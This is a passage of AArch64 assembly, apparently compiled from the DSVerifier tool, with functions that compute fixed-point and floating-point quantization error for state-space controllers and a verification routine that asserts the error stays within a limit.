ldr x0, [x0, #:got_lo12:nOutputs]
ldr w0, [x0]
ldr w1, [sp, 40]
cmp w1, w0
blt .L1394
str wzr, [sp, 40]
b .L1395
.L1398:
str wzr, [sp, 44]
b .L1396
.L1397:
ldrsw x0, [sp, 44]
ldrsw x1, [sp, 40]
lsl x1, x1, 2
add x0, x1, x0
add x0, x0, 64
lsl x0, x0, 3
add x1, sp, 72
ldr d0, [x1, x0]
adrp x0, :got:_controller
ldr x0, [x0, #:got_lo12:_controller]
ldrsw x1, [sp, 44]
ldrsw x2, [sp, 40]
lsl x2, x2, 2
add x1, x2, x1
add x1, x1, 64
str d0, [x0, x1, lsl 3]
ldr w0, [sp, 44]
add w0, w0, 1
str w0, [sp, 44]
.L1396:
ldr w0, [sp, 44]
cmp w0, 0
ble .L1397
ldr w0, [sp, 40]
add w0, w0, 1
str w0, [sp, 40]
.L1395:
adrp x0, :got:nStates
ldr x0, [x0, #:got_lo12:nStates]
ldr w0, [x0]
ldr w1, [sp, 40]
cmp w1, w0
blt .L1398
str wzr, [sp, 40]
b .L1399
.L1402:
str wzr, [sp, 44]
b .L1400
.L1401:
ldrsw x0, [sp, 44]
ldrsw x1, [sp, 40]
lsl x1, x1, 2
add x0, x1, x0
add x0, x0, 96
lsl x0, x0, 3
add x1, sp, 72
ldr d0, [x1, x0]
adrp x0, :got:_controller
ldr x0, [x0, #:got_lo12:_controller]
ldrsw x1, [sp, 44]
ldrsw x2, [sp, 40]
lsl x2, x2, 2
add x1, x2, x1
add x1, x1, 96
str d0, [x0, x1, lsl 3]
ldr w0, [sp, 44]
add w0, w0, 1
str w0, [sp, 44]
.L1400:
ldr w0, [sp, 44]
cmp w0, 0
ble .L1401
ldr w0, [sp, 40]
add w0, w0, 1
str w0, [sp, 40]
.L1399:
adrp x0, :got:nInputs
ldr x0, [x0, #:got_lo12:nInputs]
ldr w0, [x0]
ldr w1, [sp, 40]
cmp w1, w0
blt .L1402
str wzr, [sp, 40]
b .L1403
.L1406:
str wzr, [sp, 44]
b .L1404
.L1405:
ldrsw x0, [sp, 44]
ldrsw x1, [sp, 40]
lsl x1, x1, 2
add x0, x1, x0
add x0, x0, 80
lsl x0, x0, 3
add x1, sp, 72
ldr d0, [x1, x0]
adrp x0, :got:_controller
ldr x0, [x0, #:got_lo12:_controller]
ldrsw x1, [sp, 44]
ldrsw x2, [sp, 40]
lsl x2, x2, 2
add x1, x2, x1
add x1, x1, 80
str d0, [x0, x1, lsl 3]
ldr w0, [sp, 44]
add w0, w0, 1
str w0, [sp, 44]
.L1404:
ldr w0, [sp, 44]
cmp w0, 0
ble .L1405
ldr w0, [sp, 40]
add w0, w0, 1
str w0, [sp, 40]
.L1403:
adrp x0, :got:nOutputs
ldr x0, [x0, #:got_lo12:nOutputs]
ldr w0, [x0]
ldr w1, [sp, 40]
cmp w1, w0
blt .L1406
str wzr, [sp, 40]
b .L1407
.L1410:
str wzr, [sp, 44]
b .L1408
.L1409:
adrp x0, new_stateFWL
add x0, x0, :lo12:new_stateFWL
ldrsw x1, [sp, 44]
ldrsw x2, [sp, 40]
lsl x2, x2, 2
add x1, x2, x1
ldr d0, [x0, x1, lsl 3]
adrp x0, :got:_controller
ldr x0, [x0, #:got_lo12:_controller]
ldrsw x1, [sp, 44]
ldrsw x2, [sp, 40]
lsl x2, x2, 2
add x1, x2, x1
add x1, x1, 64
str d0, [x0, x1, lsl 3]
ldr w0, [sp, 44]
add w0, w0, 1
str w0, [sp, 44]
.L1408:
ldr w0, [sp, 44]
cmp w0, 0
ble .L1409
ldr w0, [sp, 40]
add w0, w0, 1
str w0, [sp, 40]
.L1407:
adrp x0, :got:nStates
ldr x0, [x0, #:got_lo12:nStates]
ldr w0, [x0]
ldr w1, [sp, 40]
cmp w1, w0
blt .L1410
bl fxp_state_space_representation
str d0, [sp, 64]
str wzr, [sp, 40]
b .L1411
.L1414:
str wzr, [sp, 44]
b .L1412
.L1413:
adrp x0, :got:_controller
ldr x0, [x0, #:got_lo12:_controller]
ldrsw x1, [sp, 44]
ldrsw x2, [sp, 40]
lsl x2, x2, 2
add x1, x2, x1
add x1, x1, 64
ldr d0, [x0, x1, lsl 3]
adrp x0, new_stateFWL
add x0, x0, :lo12:new_stateFWL
ldrsw x1, [sp, 44]
ldrsw x2, [sp, 40]
lsl x2, x2, 2
add x1, x2, x1
str d0, [x0, x1, lsl 3]
ldr w0, [sp, 44]
add w0, w0, 1
str w0, [sp, 44]
.L1412:
ldr w0, [sp, 44]
cmp w0, 0
ble .L1413
ldr w0, [sp, 40]
add w0, w0, 1
str w0, [sp, 40]
.L1411:
adrp x0, :got:nStates
ldr x0, [x0, #:got_lo12:nStates]
ldr w0, [x0]
ldr w1, [sp, 40]
cmp w1, w0
blt .L1414
ldr d1, [sp, 56]
ldr d0, [sp, 64]
fsub d0, d1, d0
str d0, [sp, 48]
ldr d0, [sp, 48]
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x2, [sp, 1112]
ldr x1, [x0]
subs x2, x2, x1
mov x1, 0
beq .L1416
bl __stack_chk_fail
.L1416:
ldp x29, x30, [sp]
add sp, sp, 1120
.cfi_restore 29
.cfi_restore 30
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE142:
.size ss_system_quantization_error, .-ss_system_quantization_error
.align 2
.global fxp_ss_closed_loop_quantization_error
.type fxp_ss_closed_loop_quantization_error, %function
fxp_ss_closed_loop_quantization_error:
.LFB143:
.cfi_startproc
sub sp, sp, #1088
.cfi_def_cfa_offset 1088
stp x29, x30, [sp]
.cfi_offset 29, -1088
.cfi_offset 30, -1080
mov x29, sp
str d0, [sp, 24]
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 1080]
mov x1, 0
strh wzr, [sp, 42]
str wzr, [sp, 44]
b .L1418
.L1422:
str wzr, [sp, 48]
b .L1419
.L1421:
adrp x0, _controller_fxp
add x0, x0, :lo12:_controller_fxp
ldr w1, [sp, 48]
ldr w2, [sp, 44]
lsl x2, x2, 2
add x1, x2, x1
add x1, x1, 48
ldr d0, [x0, x1, lsl 3]
fcmp d0, #0.0
beq .L1420
mov w0, 1
strh w0, [sp, 42]
.L1420:
ldr w0, [sp, 48]
add w0, w0, 1
str w0, [sp, 48]
.L1419:
adrp x0, :got:nInputs
ldr x0, [x0, #:got_lo12:nInputs]
ldr w0, [x0]
mov w1, w0
ldr w0, [sp, 48]
cmp w0, w1
bcc .L1421
ldr w0, [sp, 44]
add w0, w0, 1
str w0, [sp, 44]
.L1418:
adrp x0, :got:nOutputs
ldr x0, [x0, #:got_lo12:nOutputs]
ldr w0, [x0]
mov w1, w0
ldr w0, [sp, 44]
cmp w0, w1
bcc .L1422
str wzr, [sp, 44]
b .L1423
.L1426:
str wzr, [sp, 48]
b .L1424
.L1425:
ldr w0, [sp, 48]
ldr w1, [sp, 44]
lsl x1, x1, 2
add x0, x1, x0
lsl x0, x0, 3
add x1, sp, 56
str xzr, [x1, x0]
ldr w0, [sp, 48]
ldr w1, [sp, 44]
lsl x1, x1, 2
add x0, x1, x0
lsl x0, x0, 3
add x1, sp, 440
str xzr, [x1, x0]
ldr w0, [sp, 48]
add w0, w0, 1
str w0, [sp, 48]
.L1424:
ldr w0, [sp, 48]
cmp w0, 3
bls .L1425
ldr w0, [sp, 44]
add w0, w0, 1
str w0, [sp, 44]
.L1423:
ldr w0, [sp, 44]
cmp w0, 3
bls .L1426
str wzr, [sp, 44]
b .L1427
.L1428:
ldr w0, [sp, 44]
lsl x0, x0, 5
add x1, sp, 56
ldr d0, [sp, 24]
str d0, [x1, x0]
ldr w0, [sp, 44]
add w0, w0, 1
str w0, [sp, 44]
.L1427:
adrp x0, :got:nInputs
ldr x0, [x0, #:got_lo12:nInputs]
ldr w0, [x0]
mov w1, w0
ldr w0, [sp, 44]
cmp w0, w1
bcc .L1428
str wzr, [sp, 44]
b .L1429
.L1430:
ldr w0, [sp, 44]
lsl x0, x0, 5
add x1, sp, 568
str xzr, [x1, x0]
ldr w0, [sp, 44]
add w0, w0, 1
str w0, [sp, 44]
.L1429:
ldr w0, [sp, 44]
cmp w0, 3
bls .L1430
str wzr, [sp, 44]
b .L1431
.L1432:
adrp x0, _controller_fxp
add x0, x0, :lo12:_controller_fxp
ldr w1, [sp, 44]
add x1, x1, 112
ldr d0, [x0, x1, lsl 3]
bl fxp_double_to_fxp
mov x2, x0
ldr w0, [sp, 44]
lsl x0, x0, 3
add x1, sp, 440
str x2, [x1, x0]
ldr w0, [sp, 44]
add w0, w0, 1
str w0, [sp, 44]
.L1431:
adrp x0, :got:nStates
ldr x0, [x0, #:got_lo12:nStates]
ldr w0, [x0]
mov w1, w0
ldr w0, [sp, 44]
cmp w0, w1
bcc .L1432
str wzr, [sp, 44]
b .L1433
.L1436:
str wzr, [sp, 48]
b .L1434
.L1435:
ldr w0, [sp, 48]
ldr w1, [sp, 44]
lsl x1, x1, 2
add x0, x1, x0
lsl x0, x0, 3
add x1, sp, 184
str xzr, [x1, x0]
ldr w0, [sp, 48]
ldr w1, [sp, 44]
lsl x1, x1, 2
add x0, x1, x0
lsl x0, x0, 3
add x1, sp, 312
str xzr, [x1, x0]
ldr w0, [sp, 48]
add w0, w0, 1
str w0, [sp, 48]
.L1434:
ldr w0, [sp, 48]
cmp w0, 3
bls .L1435
ldr w0, [sp, 44]
add w0, w0, 1
str w0, [sp, 44]
.L1433:
ldr w0, [sp, 44]
cmp w0, 3
bls .L1436
str wzr, [sp, 52]
b .L1437
.L1438:
adrp x0, _controller_fxp
add x1, x0, :lo12:_controller_fxp
ldr w0, [sp, 52]
add x0, x0, 16
lsl x0, x0, 5
add x0, x1, x0
ldr d0, [x0]
bl fxp_double_to_fxp
mov x2, x0
ldr w0, [sp, 52]
lsl x0, x0, 5
add x1, sp, 568
str x2, [x1, x0]
ldr w0, [sp, 52]
add w0, w0, 1
str w0, [sp, 52]
.L1437:
adrp x0, :got:nStates
ldr x0, [x0, #:got_lo12:nStates]
ldr w0, [x0]
mov w1, w0
ldr w0, [sp, 52]
cmp w0, w1
bcc .L1438
adrp x0, :got:nOutputs
ldr x0, [x0, #:got_lo12:nOutputs]
ldr w0, [x0]
mov w7, w0
adrp x0, :got:nStates
ldr x0, [x0, #:got_lo12:nStates]
ldr w0, [x0]
mov w8, w0
adrp x0, :got:nStates
ldr x0, [x0, #:got_lo12:nStates]
ldr w0, [x0]
mov w9, w0
add x2, sp, 696
add x1, sp, 568
add x0, sp, 440
mov x6, x2
mov x5, x1
mov x4, x0
mov w3, 1
mov w2, w9
mov w1, w8
mov w0, w7
bl fxp_matrix_multiplication
str wzr, [sp, 52]
b .L1439
.L1440:
ldr w0, [sp, 52]
lsl x0, x0, 5
add x1, sp, 56
ldr d0, [x1, x0]
fcvtzs x0, d0
bl fxp_quantize
scvtf d0, x0
bl fxp_double_to_fxp
mov x2, x0
ldr w0, [sp, 52]
lsl x0, x0, 5
add x1, sp, 824
str x2, [x1, x0]
ldr w0, [sp, 52]
add w0, w0, 1
str w0, [sp, 52]
.L1439:
adrp x0, :got:nInputs
ldr x0, [x0, #:got_lo12:nInputs]
ldr w0, [x0]
mov w1, w0
ldr w0, [sp, 52]
cmp w0, w1
bcc .L1440
adrp x0, :got:nInputs
ldr x0, [x0, #:got_lo12:nInputs]
ldr w0, [x0]
mov w5, w0
add x2, sp, 952
add x1, sp, 696
add x0, sp, 824
mov x4, x2
mov x3, x1
mov x2, x0
mov w1, 1
mov w0, w5
bl fxp_sub_matrix
str wzr, [sp, 52]
b .L1441
.L1442:
ldr w0, [sp, 52]
lsl x0, x0, 5
add x1, sp, 952
ldr x0, [x1, x0]
bl fxp_quantize
bl fxp_to_double
adrp x0, _controller_fxp
add x1, x0, :lo12:_controller_fxp
ldr w0, [sp, 52]
add x0, x0, 24
lsl x0, x0, 5
add x0, x1, x0
str d0, [x0]
ldr w0, [sp, 52]
add w0, w0, 1
str w0, [sp, 52]
.L1441:
adrp x0, :got:nInputs
ldr x0, [x0, #:got_lo12:nInputs]
ldr w0, [x0]
mov w1, w0
ldr w0, [sp, 52]
cmp w0, w1
bcc .L1442
adrp x0, :got:nOutputs
ldr x0, [x0, #:got_lo12:nOutputs]
ldr w0, [x0]
mov w7, w0
adrp x0, :got:nStates
ldr x0, [x0, #:got_lo12:nStates]
ldr w0, [x0]
mov w1, w0
adrp x0, :got:nStates
ldr x0, [x0, #:got_lo12:nStates]
ldr w0, [x0]
mov w2, w0
add x0, sp, 184
mov x6, x0
adrp x0, _controller_fxp+512
add x5, x0, :lo12:_controller_fxp+512
adrp x0, _controller_fxp+256
add x4, x0, :lo12:_controller_fxp+256
mov w3, 1
mov w0, w7
bl double_matrix_multiplication
ldrh w0, [sp, 42]
cmp w0, 1
bne .L1443
adrp x0, :got:nOutputs
ldr x0, [x0, #:got_lo12:nOutputs]
ldr w0, [x0]
mov w7, w0
adrp x0, :got:nInputs
ldr x0, [x0, #:got_lo12:nInputs]
ldr w0, [x0]
mov w1, w0
adrp x0, :got:nInputs
ldr x0, [x0, #:got_lo12:nInputs]
ldr w0, [x0]
mov w2, w0
add x0, sp, 312
mov x6, x0
adrp x0, _controller_fxp+768
add x5, x0, :lo12:_controller_fxp+768
adrp x0, _controller_fxp+384
add x4, x0, :lo12:_controller_fxp+384
mov w3, 1
mov w0, w7
bl double_matrix_multiplication
.L1443:
adrp x0, :got:nOutputs
ldr x0, [x0, #:got_lo12:nOutputs]
ldr w0, [x0]
mov w5, w0
add x2, sp, 312
add x1, sp, 184
adrp x0, _controller_fxp+640
add x4, x0, :lo12:_controller_fxp+640
mov x3, x2
mov x2, x1
mov w1, 1
mov w0, w5
bl double_add_matrix
adrp x0, :got:nStates
ldr x0, [x0, #:got_lo12:nStates]
ldr w0, [x0]
mov w7, w0
adrp x0, :got:nStates
ldr x0, [x0, #:got_lo12:nStates]
ldr w0, [x0]
mov w1, w0
adrp x0, :got:nStates
ldr x0, [x0, #:got_lo12:nStates]
ldr w0, [x0]
mov w2, w0
add x0, sp, 184
mov x6, x0
adrp x0, _controller_fxp+512
add x5, x0, :lo12:_controller_fxp+512
adrp x0, _controller_fxp
add x4, x0, :lo12:_controller_fxp
mov w3, 1
mov w0, w7
bl double_matrix_multiplication
adrp x0, :got:nStates
ldr x0, [x0, #:got_lo12:nStates]
ldr w0, [x0]
mov w7, w0
adrp x0, :got:nInputs
ldr x0, [x0, #:got_lo12:nInputs]
ldr w0, [x0]
mov w1, w0
adrp x0, :got:nInputs
ldr x0, [x0, #:got_lo12:nInputs]
ldr w0, [x0]
mov w2, w0
add x0, sp, 312
mov x6, x0
adrp x0, _controller_fxp+768
add x5, x0, :lo12:_controller_fxp+768
adrp x0, _controller_fxp+128
add x4, x0, :lo12:_controller_fxp+128
mov w3, 1
mov w0, w7
bl double_matrix_multiplication
adrp x0, :got:nStates
ldr x0, [x0, #:got_lo12:nStates]
ldr w0, [x0]
mov w5, w0
add x2, sp, 312
add x1, sp, 184
adrp x0, _controller_fxp+512
add x4, x0, :lo12:_controller_fxp+512
mov x3, x2
mov x2, x1
mov w1, 1
mov w0, w5
bl double_add_matrix
adrp x0, _controller_fxp
add x0, x0, :lo12:_controller_fxp
ldr d0, [x0, 640]
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x2, [sp, 1080]
ldr x1, [x0]
subs x2, x2, x1
mov x1, 0
beq .L1445
bl __stack_chk_fail
.L1445:
ldp x29, x30, [sp]
add sp, sp, 1088
.cfi_restore 29
.cfi_restore 30
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE143:
.size fxp_ss_closed_loop_quantization_error, .-fxp_ss_closed_loop_quantization_error
.align 2
.global ss_closed_loop_quantization_error
.type ss_closed_loop_quantization_error, %function
ss_closed_loop_quantization_error:
.LFB144:
.cfi_startproc
stp x29, x30, [sp, -448]!
.cfi_def_cfa_offset 448
.cfi_offset 29, -448
.cfi_offset 30, -440
mov x29, sp
str d0, [sp, 24]
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 440]
mov x1, 0
strh wzr, [sp, 46]
str wzr, [sp, 48]
b .L1447
.L1451:
str wzr, [sp, 52]
b .L1448
.L1450:
adrp x0, _controller_double
add x0, x0, :lo12:_controller_double
ldr w1, [sp, 52]
ldr w2, [sp, 48]
lsl x2, x2, 2
add x1, x2, x1
add x1, x1, 48
ldr d0, [x0, x1, lsl 3]
fcmp d0, #0.0
beq .L1449
mov w0, 1
strh w0, [sp, 46]
.L1449:
ldr w0, [sp, 52]
add w0, w0, 1
str w0, [sp, 52]
.L1448:
adrp x0, :got:nInputs
ldr x0, [x0, #:got_lo12:nInputs]
ldr w0, [x0]
mov w1, w0
ldr w0, [sp, 52]
cmp w0, w1
bcc .L1450
ldr w0, [sp, 48]
add w0, w0, 1
str w0, [sp, 48]
.L1447:
adrp x0, :got:nOutputs
ldr x0, [x0, #:got_lo12:nOutputs]
ldr w0, [x0]
mov w1, w0
ldr w0, [sp, 48]
cmp w0, w1
bcc .L1451
str wzr, [sp, 48]
b .L1452
.L1455:
str wzr, [sp, 52]
b .L1453
.L1454:
ldr w0, [sp, 52]
ldr w1, [sp, 48]
lsl x1, x1, 2
add x0, x1, x0
lsl x0, x0, 3
add x1, sp, 56
ldr d0, [sp, 24]
str d0, [x1, x0]
ldr w0, [sp, 52]
add w0, w0, 1
str w0, [sp, 52]
.L1453:
ldr w0, [sp, 52]
cmp w0, 0
beq .L1454
ldr w0, [sp, 48]
add w0, w0, 1
str w0, [sp, 48]
.L1452:
adrp x0, :got:nInputs
ldr x0, [x0, #:got_lo12:nInputs]
ldr w0, [x0]
mov w1, w0
ldr w0, [sp, 48]
cmp w0, w1
bcc .L1455
str wzr, [sp, 48]
b .L1456
.L1459:
str wzr, [sp, 52]
b .L1457
.L1458:
ldr w0, [sp, 52]
ldr w1, [sp, 48]
lsl x1, x1, 2
add x0, x1, x0
lsl x0, x0, 3
add x1, sp, 184
str xzr, [x1, x0]
ldr w0, [sp, 52]
ldr w1, [sp, 48]
lsl x1, x1, 2
add x0, x1, x0
lsl x0, x0, 3
add x1, sp, 312
str xzr, [x1, x0]
ldr w0, [sp, 52]
add w0, w0, 1
str w0, [sp, 52]
.L1457:
ldr w0, [sp, 52]
cmp w0, 3
bls .L1458
ldr w0, [sp, 48]
add w0, w0, 1
str w0, [sp, 48]
.L1456:
ldr w0, [sp, 48]
cmp w0, 3
bls .L1459
adrp x0, :got:nOutputs
ldr x0, [x0, #:got_lo12:nOutputs]
ldr w0, [x0]
mov w7, w0
adrp x0, :got:nStates
ldr x0, [x0, #:got_lo12:nStates]
ldr w0, [x0]
mov w1, w0
adrp x0, :got:nStates
ldr x0, [x0, #:got_lo12:nStates]
ldr w0, [x0]
mov w2, w0
add x0, sp, 184
mov x6, x0
adrp x0, _controller_double+512
add x5, x0, :lo12:_controller_double+512
adrp x0, _controller_double+896
add x4, x0, :lo12:_controller_double+896
mov w3, 1
mov w0, w7
bl double_matrix_multiplication
adrp x0, :got:nInputs
ldr x0, [x0, #:got_lo12:nInputs]
ldr w0, [x0]
mov w5, w0
add x2, sp, 184
add x1, sp, 56
adrp x0, _controller_double+768
add x4, x0, :lo12:_controller_double+768
mov x3, x2
mov x2, x1
mov w1, 1
mov w0, w5
bl double_sub_matrix
adrp x0, :got:nOutputs
ldr x0, [x0, #:got_lo12:nOutputs]
ldr w0, [x0]
mov w7, w0
adrp x0, :got:nStates
ldr x0, [x0, #:got_lo12:nStates]
ldr w0, [x0]
mov w1, w0
adrp x0, :got:nStates
ldr x0, [x0, #:got_lo12:nStates]
ldr w0, [x0]
mov w2, w0
add x0, sp, 184
mov x6, x0
adrp x0, _controller_double+512
add x5, x0, :lo12:_controller_double+512
adrp x0, _controller_double+256
add x4, x0, :lo12:_controller_double+256
mov w3, 1
mov w0, w7
bl double_matrix_multiplication
ldrh w0, [sp, 46]
cmp w0, 1
bne .L1460
adrp x0, :got:nOutputs
ldr x0, [x0, #:got_lo12:nOutputs]
ldr w0, [x0]
mov w7, w0
adrp x0, :got:nInputs
ldr x0, [x0, #:got_lo12:nInputs]
ldr w0, [x0]
mov w1, w0
adrp x0, :got:nInputs
ldr x0, [x0, #:got_lo12:nInputs]
ldr w0, [x0]
mov w2, w0
add x0, sp, 312
mov x6, x0
adrp x0, _controller_double+768
add x5, x0, :lo12:_controller_double+768
adrp x0, _controller_double+384
add x4, x0, :lo12:_controller_double+384
mov w3, 1
mov w0, w7
bl double_matrix_multiplication
.L1460:
adrp x0, :got:nOutputs
ldr x0, [x0, #:got_lo12:nOutputs]
ldr w0, [x0]
mov w5, w0
add x2, sp, 312
add x1, sp, 184
adrp x0, _controller_double+640
add x4, x0, :lo12:_controller_double+640
mov x3, x2
mov x2, x1
mov w1, 1
mov w0, w5
bl double_add_matrix
adrp x0, :got:nStates
ldr x0, [x0, #:got_lo12:nStates]
ldr w0, [x0]
mov w7, w0
adrp x0, :got:nStates
ldr x0, [x0, #:got_lo12:nStates]
ldr w0, [x0]
mov w1, w0
adrp x0, :got:nStates
ldr x0, [x0, #:got_lo12:nStates]
ldr w0, [x0]
mov w2, w0
add x0, sp, 184
mov x6, x0
adrp x0, _controller_double+512
add x5, x0, :lo12:_controller_double+512
adrp x0, _controller_double
add x4, x0, :lo12:_controller_double
mov w3, 1
mov w0, w7
bl double_matrix_multiplication
adrp x0, :got:nStates
ldr x0, [x0, #:got_lo12:nStates]
ldr w0, [x0]
mov w7, w0
adrp x0, :got:nInputs
ldr x0, [x0, #:got_lo12:nInputs]
ldr w0, [x0]
mov w1, w0
adrp x0, :got:nInputs
ldr x0, [x0, #:got_lo12:nInputs]
ldr w0, [x0]
mov w2, w0
add x0, sp, 312
mov x6, x0
adrp x0, _controller_double+768
add x5, x0, :lo12:_controller_double+768
adrp x0, _controller_double+128
add x4, x0, :lo12:_controller_double+128
mov w3, 1
mov w0, w7
bl double_matrix_multiplication
adrp x0, :got:nStates
ldr x0, [x0, #:got_lo12:nStates]
ldr w0, [x0]
mov w5, w0
add x2, sp, 312
add x1, sp, 184
adrp x0, _controller_double+512
add x4, x0, :lo12:_controller_double+512
mov x3, x2
mov x2, x1
mov w1, 1
mov w0, w5
bl double_add_matrix
adrp x0, _controller_double
add x0, x0, :lo12:_controller_double
ldr d0, [x0, 640]
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x2, [sp, 440]
ldr x1, [x0]
subs x2, x2, x1
mov x1, 0
beq .L1462
bl __stack_chk_fail
.L1462:
ldp x29, x30, [sp], 448
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE144:
.size ss_closed_loop_quantization_error, .-ss_closed_loop_quantization_error
.section .rodata
.align 3
.LC54:
.string "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_state_space.h"
.align 3
.LC55:
.string "__quant_error < error_limit && __quant_error > ((-1)*error_limit)"
.text
.align 2
.global verify_error_state_space
.type verify_error_state_space, %function
verify_error_state_space:
.LFB145:
.cfi_startproc
stp x29, x30, [sp, -96]!
.cfi_def_cfa_offset 96
.cfi_offset 29, -96
.cfi_offset 30, -88
mov x29, sp
str d8, [sp, 16]
.cfi_offset 72, -80
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 88]
mov x1, 0
str wzr, [sp, 40]
b .L1464
.L1467:
str wzr, [sp, 44]
b .L1465
.L1466:
adrp x0, :got:_controller
ldr x0, [x0, #:got_lo12:_controller]
ldrsw x1, [sp, 44]
ldrsw x2, [sp, 40]
lsl x2, x2, 2
add x1, x2, x1
add x1, x1, 64
ldr d0, [x0, x1, lsl 3]
adrp x0, new_state
add x0, x0, :lo12:new_state
ldrsw x1, [sp, 44]
ldrsw x2, [sp, 40]
lsl x2, x2, 2
add x1, x2, x1
str d0, [x0, x1, lsl 3]
ldr w0, [sp, 44]
add w0, w0, 1
str w0, [sp, 44]
.L1465:
ldr w0, [sp, 44]
cmp w0, 0
ble .L1466
ldr w0, [sp, 40]
add w0, w0, 1
str w0, [sp, 40]
.L1464:
adrp x0, :got:nStates
ldr x0, [x0, #:got_lo12:nStates]
ldr w0, [x0]
ldr w1, [sp, 40]
cmp w1, w0
blt .L1467
str wzr, [sp, 40]
b .L1468
.L1471:
str wzr, [sp, 44]
b .L1469
.L1470:
adrp x0, :got:_controller
ldr x0, [x0, #:got_lo12:_controller]
ldrsw x1, [sp, 44]
ldrsw x2, [sp, 40]
lsl x2, x2, 2
add x1, x2, x1
add x1, x1, 64
ldr d0, [x0, x1, lsl 3]
adrp x0, new_stateFWL
add x0, x0, :lo12:new_stateFWL
ldrsw x1, [sp, 44]
ldrsw x2, [sp, 40]
lsl x2, x2, 2
add x1, x2, x1
str d0, [x0, x1, lsl 3]
ldr w0, [sp, 44]
add w0, w0, 1
str w0, [sp, 44]
.L1469:
ldr w0, [sp, 44]
cmp w0, 0
ble .L1470
ldr w0, [sp, 40]
add w0, w0, 1
str w0, [sp, 40]
.L1468:
adrp x0, :got:nStates
ldr x0, [x0, #:got_lo12:nStates]
ldr w0, [x0]
ldr w1, [sp, 40]
cmp w1, w0
blt .L1471
adrp x0, _controller_fxp
add x1, x0, :lo12:_controller_fxp
adrp x0, :got:_controller
ldr x0, [x0, #:got_lo12:_controller]
mov x3, x1
mov x1, x0
mov x0, 1040
mov x2, x0
mov x0, x3
bl memcpy
adrp x0, _controller_double
add x1, x0, :lo12:_controller_double
adrp x0, :got:_controller
ldr x0, [x0, #:got_lo12:_controller]
mov x3, x1
mov x1, x0
mov x0, 1040
mov x2, x0
mov x0, x3
bl memcpy
adrp x0, overflow_mode
add x0, x0, :lo12:overflow_mode
str wzr, [x0]
adrp x0, impl
add x0, x0, :lo12:impl
ldr d0, [x0, 16]
bl fxp_double_to_fxp
str x0, [sp, 48]
adrp x0, impl
add x0, x0, :lo12:impl
ldr d0, [x0, 8]
bl fxp_double_to_fxp
str x0, [sp, 56]
bl nondet_double
str d0, [sp, 64]
ldr d0, [sp, 48]
scvtf d0, d0
ldr d1, [sp, 64]
fcmpe d1, d0
bge .L1494
b .L1472
.L1494:
ldr d0, [sp, 56]
scvtf d0, d0
ldr d1, [sp, 64]
fcmpe d1, d0
bls .L1495
b .L1472
.L1495:
mov w0, 1
b .L1475
.L1472:
mov w0, 0
.L1475:
and w0, w0, 1
and w0, w0, 255
bl __DSVERIFIER_assume
str wzr, [sp, 40]
b .L1476
.L1477:
ldr d0, [sp, 64]
fcvtzs d0, d0
ldrsw x0, [sp, 40]
lsl x0, x0, 3
add x1, sp, 80
str d0, [x1, x0]
ldr w0, [sp, 40]
add w0, w0, 1
str w0, [sp, 40]
.L1476:
ldr w0, [sp, 40]
cmp w0, 0
blt .L1477
adrp x0, :got:closed_loop
ldr x0, [x0, #:got_lo12:closed_loop]
ldr w0, [x0]
cmp w0, 0
beq .L1478
str wzr, [sp, 40]
b .L1479
.L1484:
ldrsw x0, [sp, 40]
lsl x0, x0, 3
add x1, sp, 80
ldr d0, [x1, x0]
scvtf d0, d0
bl ss_closed_loop_quantization_error
fmov d8, d0
ldrsw x0, [sp, 40]
lsl x0, x0, 3
add x1, sp, 80
ldr d0, [x1, x0]
scvtf d0, d0
bl fxp_ss_closed_loop_quantization_error
fsub d0, d8, d0
str d0, [sp, 72]
adrp x0, :got:error_limit
ldr x0, [x0, #:got_lo12:error_limit]
ldr d0, [x0]
ldr d1, [sp, 72]
fcmpe d1, d0
bmi .L1496
b .L1480
.L1496:
adrp x0, :got:error_limit
ldr x0, [x0, #:got_lo12:error_limit]
ldr d0, [x0]
fneg d0, d0
ldr d1, [sp, 72]
fcmpe d1, d0
bgt .L1483
.L1480:
adrp x0, __PRETTY_FUNCTION__.4
add x3, x0, :lo12:__PRETTY_FUNCTION__.4
mov w2, 354
adrp x0, .LC54
add x1, x0, :lo12:.LC54
adrp x0, .LC55
add x0, x0, :lo12:.LC55
bl __assert_fail
.L1483:
ldr w0, [sp, 40]
add w0, w0, 1
str w0, [sp, 40]
.L1479:
ldr w0, [sp, 40]
cmp w0, 0
blt .L1484
b .L1485
.L1478:
str wzr, [sp, 40]
b .L1486
.L1491:
ldrsw x0, [sp, 40]
lsl x0, x0, 3
add x1, sp, 80
ldr x0, [x1, x0]
bl ss_system_quantization_error
str d0, [sp, 72]
adrp x0, :got:error_limit
ldr x0, [x0, #:got_lo12:error_limit]
ldr d0, [x0]
ldr d1, [sp, 72]
fcmpe d1, d0
bmi .L1497
b .L1487
.L1497:
adrp x0, :got:error_limit
ldr x0, [x0, #:got_lo12:error_limit]
ldr d0, [x0]
fneg d0, d0
ldr d1, [sp, 72]
fcmpe d1, d0
bgt .L1490
.L1487:
adrp x0, __PRETTY_FUNCTION__.4
add x3, x0, :lo12:__PRETTY_FUNCTION__.4
mov w2, 361
adrp x0, .LC54
add x1, x0, :lo12:.LC54
adrp x0, .LC55
add x0, x0, :lo12:.LC55
bl __assert_fail
.L1490:
ldr w0, [sp, 40]
add w0, w0, 1
str w0, [sp, 40]
.L1486:
ldr w0, [sp, 40]
cmp w0, 0
blt .L1491
.L1485:
mov w0, 0
mov w1, w0
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x3, [sp, 88]
ldr x2, [x0]
subs x3, x3, x2
mov x2, 0
beq .L1493
bl __stack_chk_fail
